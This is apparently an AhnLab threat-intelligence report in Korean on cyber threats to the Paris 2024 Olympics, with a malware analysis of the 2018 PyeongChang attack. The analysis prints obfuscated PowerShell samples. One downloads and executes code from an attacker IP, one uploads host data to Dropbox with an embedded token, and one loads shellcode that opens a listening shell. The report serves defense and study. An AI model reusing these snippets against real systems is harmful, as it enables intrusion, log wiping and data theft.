파리 2024 올림픽: 스포츠와 평화를 위협하는 사이버 공격

스포츠 경기를 노린 사이버공격 동향

안랩 시큐리티 인텔리전스 센터(ASEC)

2024. 07.19

AhnLab

목차

배경 3
예상 사이버 공격들 3
1) 허위 정보 3
2) 첩보 4
3) 방해와 파괴 4
4) 금전 목적 5
Case Study 5
1) 2018 년 평창 동계 올림픽 5
(1) Ahnsecurity.ps1 – 원격에서 코드 실행 6
(2) Downloader 8
(3) Uploader 9
(4) Loader 9
(5) RemCom 11
(6) Wiper 11
대응 12
결론 13
참고 문헌 13

CAUTION

본 보고서에는 현재까지 확인한 내용을 기반으로 분석가 의견이 다수 포함되어 있습니다. 분석가들마다 의견이 다를 수 있으며 새로운 근거가 확인되면, 본 보고서 내용도 사전 고지 없이 변경될 수 있습니다.

배경

올림픽과 월드컵 같은 스포츠 경기는 세계인의 화합과 축제의 장이지만, 분쟁의 역사이기도 하다. 1972년 뮌헨 올림픽에서 유대인 선수들이 공격당했으며, 1996년 애틀랜타 올림픽에서는 폭탄 테러가 일어나 2명의 사망자와 111명의 부상자가 발생했었다. 이런 물리적 공격 외에도 2018 평창 동계 올림픽 개막식에서는 사이버 공격이 발생했었다.

2024년 7월 26일 프랑스에서 개최 예정인 파리 2024 올림픽은 러시아-우크라이나 전쟁, 가자지구 분쟁 등 국제적 긴장이 고조된 시기에 열리게 된다. 이러한 상황에서 친 러시아 또는 친 팔레스타인 세력이 주목을 받고자 물리적 공격이나 사이버 공격을 감행해 프랑스를 곤란에 빠뜨릴 가능성이 제기되고 있다.

2024년 2월 프랑스 외무부는 러시아가 다가오는 총선과 올림픽을 방해하기 위해 광범위한 허위 정보 확산 캠페인을 수행했다고 비난했으며[1], 2024년 4월 올림픽 수영 경기장 개장식에서 에마뉘엘 마크롱 프랑스 대통령은 러시아가 다가오는 올림픽의 안전과 보안을 저해하는 온라인 허위 정보 캠페인을 벌이고 있다고 비난했다.[2] 또한 프랑스 경찰은 파리 2024 올림픽을 겨냥한 음모를 저지했다고 밝혔다.[3]

예상 사이버 공격들

국가 주도 위협그룹, 핵티비스트 및 사이버범죄자들에 의한 예상 가능한 사이버 공격은 다음과 같다.

1) 허위 정보

올림픽에 대한 대중의 관심을 이용해 특정 주장이나 허위 정보를 원하는 대상에게 퍼뜨릴 수 있다. 일부 악의적인 위협 행위자들은 파괴적인 공격과 결합하여 특정 정보를 확산하려 할 수도 있다.

---

[1] https://apnews.com/article/france-russia-disinformation-campaign-websites-96de49e381cfa357fcd6d0e7d8ff1e48

[2] https://www.bbc.com/news/world-europe-68733267

[3] https://www.bbc.com/news/articles/c8vv18pnp91o

이들은 AI를 활용하여 이미지와 텍스트를 생성해 허위 정보와 소문을 퍼뜨린다. 또 기존 뉴스 매체와 신뢰할 수 있는 출처를 사칭하여 잘못된 정보나 폭력과 테러에 대한 위협과 두려움을 퍼뜨린다.

프랑스 장관은 2023년 가을 전 세계의 헤드라인을 장식하고 파리 학교를 폐쇄하게 만든 '빈대 공포'가 러시아의 허위 정보 활동과 연결된 소셜 미디어 계정을 통해 인위적으로 증폭되었다고 말했다.[4] 배우 톰 크루즈를 사칭하는 가짜 AI 생성 오디오를 사용하여 IOC 지도부를 비난하는 올림픽 해즈 폴른(Olympics Has Fallen) 다큐멘터리가 만들어졌다.[5] 가짜 별 5개 리뷰, 불타는 올림픽 오륜 그래픽, 데이비드 베컴과 마일리 사이러스 같은 동료 유명인의 가짜 지지 등이 소셜 미디어를 통해 공유되었다.

2) 첩보

올림픽은 주요국 정부 관계자와 고위 결정권자들이 참석하는 국제적 행사이다. 이로 인해 파리 2024 올림픽은 정보 수집을 목적으로 하는 사이버 첩보 활동의 표적이 될 가능성이 높다. 더불어 올림픽에 대한 대중의 높은 관심으로, 많은 사람들이 관련 이메일이나 소셜 미디어 링크를 통한 사이버 공격에 노출될 위험도 증가할 것으로 예상된다.

3) 방해와 파괴

대규모 스포츠 행사와 관련된 웹 사이트, 운영 시스템을 노린 웹 사이트 변조, 분산 서비스 거부(DDoS) 공격, 데이터 파괴 악성코드 배포와 같은 활동이 발생할 수 있다.

Anonymous Sudan, Cyber Army of Russia Reborn, NoName05716, Server Killers 등과 같은 친 러시아 핵티비스트 그룹은 유럽 전역의 기관들을 목표로 하고 있으며, 몇몇 그룹은 DDoS 공격으로 서비스 운영을 방해했다.

러시아 핵티비스트 People's Cyber Army와 HackNeT이 올림픽을 앞둔 6월 23일 여러 프랑스 웹사이트를 대상으로 DDoS 공격을 감행했다.[6]

---

[4] https://www.rfi.fr/en/france/20240302-france-blames-bed-bug-panic-on-russian-disinformation

[5] https://edition.cnn.com/2024/06/03/tech/russia-paris-olympics-influence-ops/index.html

[6] https://cyble.com/blog/hacktivist-groups-peoples-cyber-army-and-hacknet-launch-trial-ddos-attacks-on-french-websites-prior-to-the-onslaught-during-paris-olympics/

4) 금전 목적

스포츠 메가 이벤트를 악용하는 주체는 정부 후원 그룹과 핵티비스트에 국한되지 않는다. 금전적 이득을 노리는 사이버 범죄자들도 다양한 사기 수법으로 스포츠 경기에 관심있는 사람들을 노린다.

이들의 주요 수법으로는 티켓 사기[7], 개인정보 탈취, 주요 기관 대상 갈취 등이 있다. 올림픽 운영과 관련된 업체에 대한 랜섬웨어 공격도 우려된다.

올림픽 운영 조직을 직접 겨냥하지 않더라도, 올림픽을 미끼로 한 사회공학적 사기 역시 주의해야 할 위협이다.

Case Study

알려진 스포츠 경기에 대한 사이버 공격 사례는 다음과 같다.

시기	대회	설명
2018.2	평창 2018 동계 올림픽	개막식 사이버 공격
2022.11	2022 FIFA 월드컵 카타르	블랙테크(BlackTech) 그룹, 월드컵 주최측의 네트워크 담당 파트너사에 침입[8]
2024.3	리그 오브 레전드 챔피언스 코리아	DDoS 공격으로 경기 중단[9]

표 1. 스포츠 경기 사이버공격 사례

1) 2018년 평창 동계 올림픽

2018년 2월 9일 평창 올림픽 개막식에 맞춰 사이버 공격이 발생해 티켓 예매 작업이 잠시 중단되고 여러 올림픽 관련 웹사이트가 다운되었다. 서버 총 300 여대 중 50 여대가 공격당해 데이터

[7] https://www.bleepingcomputer.com/news/security/ticket-heist-fraud-gang-uses-700-domains-to-sell-fake-olympics-tickets/

[8] https://www.darkreading.com/cyber-risk/how-the-2022-qatar-world-cup-soccer-was-nearly-hacked

[9] https://www.hani.co.kr/arti/society/society_general/1130965.html

가 파괴됐으며, 대회 관리 시스템 및 IPTV, 와이파이, RDIF 등 52개 서비스가 중단되었다.[10]

관련된 타임 라인은 다음과 같다.

날짜	내용
2018.2.3 17 - 18	내부 서버에 악성 PowerShell 생성. Windows PowerShell 로그 삭제
2018.2.5 8:33:50	다운로더 PowerShell 파일 실행
2018.2.6 20:03	인코딩 된 PowerShell 실행
2018.2.9 13:00	시스템 파괴 악성코드 (w.exe) 동작 스케쥴
2018.2.9 19:34	개막 행사 약 30 분 전 데이터 파괴 winlogon.exe 실행
2018.2.9 20:00	평창 올림픽 개막식 시스템 장애 발생[11]
2018.2.9 22:00	일부 서버에 Shutdown 명령어 전달
2018.2.10 22:00	개막식에 필요한 서비스 복구
2018.2.10 7:50	올림픽 대회 운영 시스템 복구
2018.2.11	IOC 에서 사이버 공격 공식 확인[12]
2018.2.13 04:00	백업 시스템 복구
2018.2.14	Atos 에 대한 공격 보도[13]

표 2. 평창 올림픽 사이버 공격 타임라인

공격에 사용된 악성코드는 크게 원격 시스템에서 PowerShell 실행, Uploader, Downloader, Loader, Wiper 등으로 나눌 수 있다.

(1) Ahnsecurity.ps1 – 원격에서 코드 실행

[10] https://www.boannews.com/media/view.asp?idx=69042

[11] https://www.nytimes.com/2018/02/12/technology/winter-olympic-games-hack.html

[12] https://www.theguardian.com/sport/2018/feb/11/winter-olympics-was-hit-by-cyber-attack-officials-confirm

[13] https://cyberscoop.com/atos-olympics-hack-olympic-destroyer-malware-peyongchang/

파일 이름은 ahnsecurity.ps1으로 AhnLab 파일로 가장하고, 원격으로 공격 대상이 된 시스템에서 PowerShell 스크립트를 실행한다.

```
                if((Test-Connection -Cn $ComputerName -BufferSize 16 -Count 1 -ea 0 -quiet)){

                    $RemotePassword = ConvertTo-SecureString $RemotePass -asplaintext -force
                    $Credential = New-Object -Typename System.Management.Automation.PSCredential
-argumentlist $RemoteUser,$RemotePassword

                    $command1 = "start-process cmd.exe -argumentlist '/c powershell -enc
cwBhAGwAIABhACAATgBIAHcALQBPAGIAagBIAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQ
ByACgAKABhACAASQBPAC4AQwBvAGOAcAByAGUAcwBzAGkAbwBuAC4ARABIAGYAbABhAHQAZQBTAHQAcgBIAGEAbQAoAFsASQBP
AC4ATQBIAGOAbwByAHkAUwBOAHIAZQBhAGOAXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBIADYANABTAH
QAcgBpAG4AZwAoACcAZABWAFIAdABiADkAbwB3AEUAUAA1AGUAaQBmADkAZwBXAFoAYQBJAGEAdQBKADAAMAA2AHAAVwBrAGYA
bwBCADYAQgB2AFMASwBDAHkAdwBWAFYAcABWAFYAUwBZACsAUwBOAGIARQBUAGOATwBuAEIAYgByACsAOQA5AGwANQBBADcAVw
BaAFEAWQBMAGMAMwBmAFAAYwBjADMAZgB4AGQAUQA2AFcATwBRADkAYQBKAEQAaABLAHEARwBUADYAKwA5AGIAWgBtAFUAYgA4
AFIAYAB5AEIAYwB3AGUATABJAEkANgBBAEsAKwAxAEQAKwBxAFEAMABvADQAbQBGAHEAbABQAGEAegBMAGOAZgBxAFMAegBpAH
EANABmAEQAZwBXAEEAYgBkAEkANAB3AHQAbAB1AGMATgAwAEEAWgBaAEkAVwA3ADkAUABiAEsAbgAwAE8AZAB4AG8AZgBuAEgA
SwBUAFMAegB2AHYAWgBSAGkAcABJAHkAQwAwAG8AcwBuAEOAOABIAE4ANAB3AEEANgByAEEANgBvAFoASwBwAGQASgB6ADMAVQ
BCAHcAcABhAFUAUgBsAG8AbAAwAEkAZABZADAAagBVAGcAZwBFAHYAZQByAHUANAB4AGkAawBHADYAZQB4AG8ASwB5ADcAdQBj
AGMAWgBBAHcAcQBGAEOAegBvAGOAQQBxAHAAOABPAGUAQQBZAGMAawA4ADMANgBSAGcAbwBtAGkAYQB4AGwARgBBAFQAVwBOAG
MARQBTAGgAUQBqAGwAUgBhAFMAMQBJAGoARABZAHUAdQBjAFUALwA3AEgATgBhAEsAWABQAEoAQQBNAEYATwAOADUALwAyAGMA
WAA1ADIAUgBhADEAQwBEAGoAUQBKAHAARgBWADIAcQBkAFAAMAAzACsAWABmAGcASwB4AFYAcQB6AHAAcQBIAGwASgBiAFAAZw
```

그림 1. Ahnsecurity.ps1 인자 값

ahnsecurity.ps1은 hosts.txt 내 호스트를 대상으로 원격으로 PowerShell 스크립트를 실행한다. 인증 정보(Credential = 사용자명+패스워드)가 제공되는 경우와 그렇지 않은 경우, 모두 동작할 수 있는 기능 존재한다.

```
$command1 = "start-process cmd.exe -argumentlist '/c powershell -enc SQBmACgAJABQAFMAVgBIAHIAUwBpAE8AbgBUAGEAYgBMAGUALgBQAFMAVgBIAF
$command2 = "Clear-EventLog 'Windows PowerShell'"
Trap{
    break
}

$command1 = "start-process cmd.exe -argumentlist '/c powershell -enc cwBhAGwAIABhACAATgBIAHcALQBPAGIAagBIAGMAdAA7AGkAZQB4ACgAYQAg
$command2 = "Clear-EventLog 'Windows PowerShell'"
Trap{
    break
}
```

그림 2. 원격 시스템에서 Powershll.exe 실행

난독화 옵션(ObfuscateWithEnvVar)을 사용해서 실행할 스크립트를 난독화 한 후 실행된다. 실행할 스크립트는 랜덤변수명(생성규칙: [A-Za-z0-9] 5자리 문자열 조합)의 환경변수명을 생성하여 등록한 후 실행시키며 실행 후에는 해당 변수를 삭제한다. 원하는 PowerShell 스크립트를 실행한 후에는 해당 Windows PowerShell 이벤트 로그 모두 삭제한다. 실행 과정은 ~log.txt에 기록한다.

(2) Downloader

파일로 존재하지 않은 PowerShell.exe 인자 값으로 실행 (실제 실행 코드는 난독화)된다.


```
C:₩₩windows₩System32₩₩indowsPowerShell₩v1.0₩powershell.exe -Nonl -₩ hidden -enc SQBmACgAJABQAFMAVgBIAFIAUwBJAI
wBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAQQBMADOA₩wBDAE8ATABsAEUAYwBUAEkATwBuAFMALgBHAEUATgBFAI
wBIAG4ARQByAGkAYwAuAEgAYQBTAEgAUwBIAFQA₩wBTAFQAcgBJAE4AZwBdACkAKQB9AFsAUgBIAEYAXQAuAEEAUwBTAEUAbQBiAGwA₩QAuAI
QBOAGUAYgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAkAHQAcgB1AGUAfQA7ACQAdwBjAC4ASABFAGEAZABFAI
ABTAFsAJABKAFOALAAkAFMA₩wAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArAI
```


그림 3. PowerShell.exe 인자 값

스크립트는 hxxp://93.170.77.107:443/info, /download 등에서 파일을 다운로드한다.

```
$R = {
        $D,
        $K = $ArgS;
        $S = 0..255;
        0..255 |  % {
                $J = ($J + $S[$_] + $K[$_ % $K.Count]) % 256;
                $S[$_],
                $S[$J] = $S[$J],
                $S[$_]
        };
        $D |  % {
                $I = ($I + 1) % 256;
                $H = ($H + $S[$I]) % 256;
                $S[$I],
                $S[$H] = $S[$H],
                $S[$I];
                $_ - bXOr$S[($S[$I] + $S[$H]) % 256]
        }
};
$ser = 'https://93.170.77.107:443';
$t = '/info/';
$₩c.HEaDerS.ADD("Cookie", "session=L6OY2gBHjXYJxKHh8/aoOJZc8kc=");
$data = $₩C.DoWNloADDaTa($Ser + $t);
$iv = $DaTa[0..3];
$Data = $data[4..$DatA.lenGtH];
-Join[ChAr[]]( & $R $Data($IV + $K)) | IEX
```

그림 4. 다운로드 코드

다운로드 된 파일은 PowerShell 스크립트 파일이다.

(3) Uploader

파일로 존재하지 않은 PowerShell.exe 인자 값으로 실행 (실제 실행 코드는 난독화)된다.

```
powershell -enc
cwBhAGwAIABhACAATgBIAHcALQBPAGIAagBIAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQ
ByACgAKABhACAASQBPAC4AQwBvAGOAcAByAGUAcwBzAGkAbwBuAC4ARABIAGYAbABhAHQAZQBTAHQAcgBIAGEAbQAoAFsASQBP
AC4ATQBIAGOAbwByAHkAUwBOAHIAZQBhAGOAXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBIADYANABTAH
QAcgBpAG4AZwAoACcAZABWAFIAdABiADkAbwB3AEUAUAA1AGUAaQBmADkAZwBXAFoAYQBJAGEAdQBKADAAMAA2AHAAYwBrAGYA
bwBCADYAQgB2AFMASwBDAHkAdwBWAFYAcABWAFYAUwBZACsAUwBOAGIARQBUAGOATwBuAEIAYgByACsAOQA5AGwANQBBADcAYw
BaAFEAWQBMAGMAMwBmAFAAYwBjADMAZgB4AGQAUQA2AFcATwBRADkAYQBKAEQAaABLAHEARwBUADYAKwA5AGIAWgBtAFUAYgA4
AFIAYAB5AEIAYwB3AGUATABJAEkANgBBAEsAKwAxAEQAKwBxAFEAMABvADQAbQBGAHEAbABQAGEAegBMAGOAZgBxAFMAegBpAH
EANABmAEQAZwBXAEEAYgBkAEkANAB3AHQAbAB1AGMATgAwAEEAWgBaAEkAYwA3ADkAUABiAEsAbgAwAE8AZAB4AG8AZgBuAEgA
SwBUAFMAegB2AHYAWgBSAGkAcABJAHkAQwAwAG8AcwBuAEOAOABIAE4ANAB3AEEANgByAEEANgBvAFoASwBwAGQASgB6ADMAYQ
BCAHcAcABhAFUAUgBsAG8AbAAwAEkAZABZADAAagBYAGcAZwBFAHYAZQByAHUANAB4AGkAawBHADYAZQB4AG8ASwB5ADcAdQBj
AGMAWgBBAHcAcQBGAEOAegBvAGOAQQBxAHAAOABPAGUAQQBZAGMAawA4ADMANgBSAGcAbwBtAGkAYQB4AGwARgBBAFQAYwBOAG
```

그림 5. Uploader의 PowerShell 인자 값

'Cmd.exe /c hostname' 명령으로 시스템의 Hostname 얻는다. 해당 Hostname 파일명을 갖는 .CSV 파일을 특정 Dropbox에 업로드한다.

```
it{ param( [String]$Body = "", [String]$Header = "" ) $WebRequest = [System.Net.WebRequest]::Create("https://content.dropboxapi.com/2/files/upload") $WebRequest.Me
m.Text.Encoding]::UTF8.GetBytes($Body)

ngth $WebRequest.Headers.Add("Authorization", "Bearer CMbPkl70wHAAAAAAAAAAB8zzelm55oEQMeTtWD7pTGhghBuPCiRpPt_M4seqRFZs")  $Head = $Header.S
1)) $WebRequest.Headers.Add($Head, $Value)

stStream() $requestStream.Write($PostStr, 0,$PostStr.length) $requestStream.Close()

) $ResponseStream = $Response.GetResponseStream() $ReadStream = New-Object System.IO.StreamReader $ResponseStream $Data=$ReadStream.ReadToEnd()

inet = "/" + $hostname + ".csv" $header = 'Dropbox-API-Arg: {"path": "" + $path_inet + "","mode": "add","autorename": true,"mute": false}' $content = ' ' Invoke-Webclient -I
```

그림 6. 시스템 정보 수집 코드

(4) Loader

파일로 존재하지 않은 PowerShell.exe 인자 값으로 실행 (실제 실행 코드는 난독화)된다. PowerShell 인자 내 Base64 형태로 Gzip 파일이 존재한다.

```
powershell.exe -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-
Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String
('H4sIAPoJfFoCA7YWbW/aSBD+nEr9D1aFZFshYBKaNpEqnRdwsAsUxwECFFXGXttbFq9jrwIOr//9ZsGk6TW9aO86C
+R9mZdnnpndcZDHHicslgoqfXn54mjopu5aUiqbq9MGqkoYt5ioROewUfncv3OtvZOUuZ4kbbZ2Sby4vGzlaYpjvp/XrjDXswy
vI5TgTFGIP6VJhFN88mH5GXtc+iJVPtWuKFu6tBQrWq4XYelEj32x120eK8DUnlQSrsgfP8rq/KSxqHXucpdmiuwUGcfrmk
+prEpfVeHwpkiwIveJI7KMBbw2lfHZaWOUZ26AB2Btg/uYR8zPZBWigF
+KeZ7GOi4eYWC/rcgwHKbMO3O/xRII18x4w1ZYqcQ5pVXpD2Veer/OYO7WGPY5TIni4HRDPJzVum7sU3yNg4UywPeHoH9VSXmq
BFJDnqpVSMQzMPvMzynea8rqjOD3yVPhKRMlkX99+eLli
```

그림 7. Loader의 PowerShell 인자 값

Gzip 파일 내에 PowerShell 파일이 존재하며 PowerShell 코드에는 64 비트 ShellCode를 포함하고 있다.

```
function yl {
        Param ($yG21B, $ayW)
        $jMX5 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_

        return $jMX5.GetMethod('GetProcAddress').Invoke($null, @([System.Runtim
}

function qpr1 {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $gbL,
                [Parameter(Position = 1)] [Type] $aeqm = [Void]
        )

        $w6s = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Sys
oClass', [System.MulticastDelegate])
        $w6s.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Refl
        $w6s.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $aeq

        return $w6s.CreateType()
}

[Byte[]]$oq = [System.Convert]::FromBase64String("/EiB5PD////ozAAAAEFRQVBSUVZIM
FYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlS
```

그림 8. GZIP 파일 내 PowerShell 스크립트 코드

Shellcode는 LISTENING 상태로 443/TCP 포트 (변형은 40491, 42017, 43842)를 열어둔다. 접속할 경우 4 바이트의 메모리 크기를 받아 할당한다. 네트워크로 실제 악의적인 기능을 하는 페이로드를 받고 해당 페이로드로 제어를 넘긴다. Payload는 확인되지 않았다.

```
seg000:00000000FFEC3BC0    mov     r13, rsp        ; r13 = 1FFC18
seg000:00000000FFEC3BC3    xor     rax, rax
seg000:00000000FFEC3BC6    push    rax
seg000:00000000FFEC3BC7    push    rax
seg000:00000000FFEC3BC8    mov     r12, 0BB010002h ; Port = 443 (0x1BB)
seg000:00000000FFEC3BD2    push    r12
seg000:00000000FFEC3BD4    mov     r12, rsp
seg000:00000000FFEC3BD7    mov     rcx, r14
seg000:00000000FFEC3BDA    mov     r10d, 726774Ch  ; LoadLibarayA
seg000:00000000FFEC3BE0    call    rbp             ; LoadLibraryA = 0x00FFEC3ADD
seg000:00000000FFEC3BE2    mov     rdx, r13        ; r13 = 0x001FFC18
seg000:00000000FFEC3BE5    push    101h
seg000:00000000FFEC3BEA    pop     rcx
seg000:00000000FFEC3BEB    mov     r10d, 6B8029h   ; WSAStartup
seg000:00000000FFEC3BF1    call    rbp             ; 0x00FFEC3ADD (GetAPI)
seg000:00000000FFEC3BF3    push    2
seg000:00000000FFEC3BF5    pop     rcx
seg000:00000000FFEC3BF6    push    rax
seg000:00000000FFEC3BF7    push    rax
seg000:00000000FFEC3BF8    xor     r9, r9
seg000:00000000FFEC3BFB    xor     r8, r8
seg000:00000000FFEC3BFE    inc     rax
seg000:00000000FFEC3C01    mov     rdx, rax
seg000:00000000FFEC3C04    mov     r10d, 0E0DF0FEAh ; WSASocketA
seg000:00000000FFEC3C0A    call    rbp             ; 0x00FFEC3ADD (GetAPI)
seg000:00000000FFEC3C0C    mov     rdi, rax
seg000:00000000FFEC3C0F    push    10h
seg000:00000000FFEC3C11    pop     r8
seg000:00000000FFEC3C13    mov     rdx, r12
seg000:00000000FFEC3C16    mov     rcx, rdi
seg000:00000000FFEC3C19    mov     r10d, 6737DBC2h ; bind
seg000:00000000FFEC3C1F    call    rbp             ; 0x00FFEC3ADD (GetAPI)
seg000:00000000FFEC3C21    xor     rdx, rdx
seg000:00000000FFEC3C24    mov     rcx, rdi
seg000:00000000FFEC3C27    mov     r10d, 0FF38E9B7h ; listen
seg000:00000000FFEC3C2D    call    rbp             ; 0x00FFEC3ADD (GetAPI)
seg000:00000000FFEC3C2F    xor     r8, r8
seg000:00000000FFEC3C32    xor     rdx, rdx
seg000:00000000FFEC3C35    mov     rcx, rdi
seg000:00000000FFEC3C38    mov     r10d, 0E13BEC74h ; accept
seg000:00000000FFEC3C3E    call    rbp             ; 0x00FFEC3ADD (GetAPI)
seg000:00000000FFEC3C40    mov     rcx, rdi
```

그림 9. Shellcode 내용

(5) RemCom

원격 윈도우 시스템에서 프로세스 실행 및 파일 복사하며, PsExec와 유사한 기능을 한다.

```
.0040B1C0:  00 00 00 00.00 00 00 00.52 65 6D 43.6F 6D 53 76          RemComSv
.0040B1D0:  63 00 00 00.53 65 72 76.69 63 65 00.41 20 73 65  c   Service A se
.0040B1E0:  72 76 69 63.65 20 43 61.6E 6E 6F 74.20 62 65 20  rvice Cannot be
.0040B1F0:  73 74 61 72.74 65 64 20.64 69 72 65.63 74 6C 79  started directly
.0040B200:  2E 0A 00 00.52 65 6D 43.6F 6D 5F 73.74 64 65 72  .◘  RemCom_stder
.0040B210:  72 00 00 00.52 65 6D 43.6F 6D 5F 73.74 64 69 6E  r   RemCom_stdin
.0040B220:  00 00 00 00.5C 5C 2E 5C.70 69 70 65.5C 25 73 25      \\.\pipe\%s%
.0040B230:  73 25 64 00.52 65 6D 43.6F 6D 5F 73.74 64 6F 75  s%d RemCom_stdou
.0040B240:  74 00 00 00.25 73 00 00.5C 5C 2E 5C.70 69 70 65  t   %s  \\.\pipe
.0040B250:  5C 52 65 6D.43 6F 6D 5F.63 6F 6D 6D.75 6E 69 63  \RemCom_communic
.0040B260:  61 74 6F 6E.00 00 00 00.58 F2 40 00.B0 F2 40 00  aton    X≥@ ▒≥@
```

그림 10. RemCom 문자열

공개된 소스코드를 이용했다.[14]

(6) Wiper

하드디스크 내 데이터를 삭제하는 Wiper 악성코드가 이용되었다.[15] 브라우저 및 윈도우 계정 정보를 수집하며 자체 전파 기능도 있었다.

스포츠 경기 협력사인 프랑스 Atos 공격에 사용된 악성코드 Dropper의 빌드 날짜는 2017년 12월 27일 20시 39분 22초이며 평창 올림픽 운영 조직 공격에 사용된 파일의 빌드 날짜는 2017년 12월 27일 20시 43분 12초로 큰 차이가 없다. 올림픽 조직에 대한 공격은 적어도 2017년 12월 말부터 진행되었을 가능성이 높다.

평창 올림픽 공격 조직 공격에 사용된 Wiper는 두 가지 버전이 존재한다.

첫 번째 버전의 파일 빌드 시간은 2017년 12월 27일 9시 3분 48초이다.

---

[14] https://github.com/kavika13/RemCom

[15] https://blog.talosintelligence.com/olympic-destroyer/

VA	Data	Description	Value
004000EC	014C	Machine	IMAGE_FILE_MACHINE_I386
004000EE	0005	Number of Sections	
004000F0	5A4361F4	Time Date Stamp	2017/12/27 09:03:48 UTC

그림 11. 첫번째 Wiper 파일 빌드 시간

두 번째 버전의 파일 빌드 시간은 2018년 2월 9일 10시 42분 19로 한국 시간으로 19시 42분 19초이다. 개막식 직전에 맞춰 급하게 빌드 된 버전이다.

004000EC	014C	Machine	IMAGE_FILE_MACHINE_I386
004000EE	0005	Number of Sections	
004000F0	5A7D7B0B	Time Date Stamp	2018/02/09 10:42:19 UTC

그림 12. 두번째 Wiper 변형 빌드 시간

공격자는 북한 위협그룹의 공격처럼 위장하기도 했다.[16]

대응

스포츠 경기 운영에서 사이버 보안은 필수적이며, 이를 위해 보안 인력 충원과 관계자 교육이 중요하다.

시스템 운영 시 망분리에 과도하게 의존하지 말고, 가상화를 통해 신속한 복구 체계를 갖추어야 한다. Active Directory 관리 시 관리자 계정을 최소화하고, 로컬에 암호 파일을 저장하지 않도록 주의해야 한다.

직접적인 공격 외에도 공급망이나 협력 업체를 통한 간접 공격, 정상 파일을 이용한 은밀한 공격에도 대비해야 한다.

효과적인 방어를 위해 계층적 보안 체계를 구축하고, 장기간 로그를 별도 보관하여 이상 징후 파악과 사고 조사에 활용해야 한다.

공격자들은 다양한 방법을 시도하므로, 보안 경고를 무시하지 말고 주의 깊게 모니터링해야 한다.

공격을 당했을 때를 대비해 빠르게 복구할 수 있는 체계를 마련해야 한다.

마지막으로 공격 사례, 기법, 악성코드에 대한 정보 공유를 통해 전반적인 보안 수준을 높여야 한다.

[16] https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/

결론

스포츠 이벤트는 세계인의 화합을 도모하는 장이지만, 동시에 극단주의자들의 표적이 될 수 있는 양면성을 지닌다. 특히 IT 기술의 발전으로 물리적 공격 외에도 사이버 공격이 새로운 위협으로 부상하고 있다.

2018년 평창 올림픽 개막식 당시 발생한 사이버 공격은 이러한 위험을 실제로 보여준 사례다. 최근 국제적 갈등이 고조되면서 이러한 위협은 더욱 증가하고 있다.

2024년 7월 개최 예정인 파리 2024 올림픽의 사이버 보안 대응은 향후 메가 스포츠 이벤트의 안전을 위한 중요한 시금석이 될 것이다.

참고 문헌

[1] Esports league postponed after players hacked midgame
(https://techcrunch.com/2024/03/18/esports-league-postponed-after-players-hacked-midgame/)
[2] How Russia is trying to disrupt the 2024 Paris Olympic Games
(https://blogs.microsoft.com/on-the-issues/2024/06/02/russia-cyber-bots-disinformation-2024-paris-olympics/)
[3] Phishing for Gold: Cyber Threats Facing the 2024 Paris Olympics
(https://cloud.google.com/blog/topics/threat-intelligence/cyber-threats-2024-paris-olympics?hl=en)
[4] Defending Gold: Protecting the 2024 Olympics from Cyber Threats
(https://www.tripwire.com/state-of-security/defending-gold-protecting-olympics-cyber-threats)
[5] Paris Olympics (https://www.cyfirma.com/research/paris-olympics/)
[6] Ticket Heist: Olympic Games and Sporting Events at Risk
(https://quointelligence.eu/2024/07/ticket-heist-olympic-games-and-sporting-events-at-risk/)
[7] Checking in on the state of cybersecurity and the Olympics
(https://blog.talosintelligence.com/threat-source-newsletter-july-12-2024/)

More security, More freedom

㈜안랩
경기도 성남시 분당구 판교역로 220 (우) 13493
대표전화 : 031-722-8000 | 구매문의 : 1588-3096 | 팩스 : 031-722-8901
www.ahnlab.com

이 보고서는 저작권법에 의해 보호 받는 저작물로서 영리목적의 무단전재와 무단복제를 금합니다.
이 보고서의 내용의 전부 또는 일부 인용, 가공 시 안랩에서 발간된 보고서임을 밝혀 주시기 바랍니다.
* 이 보고서에 수록된 내용 또는 배포에 관한 모든 문의는 안랩(031-722-8000)으로 부탁드립니다.
해당 보고서는 https://atip.ahnlab.com 을 통해 이용할 수 있습니다.

© 2024 AhnLab, Inc. All rights reserved.

AhnLab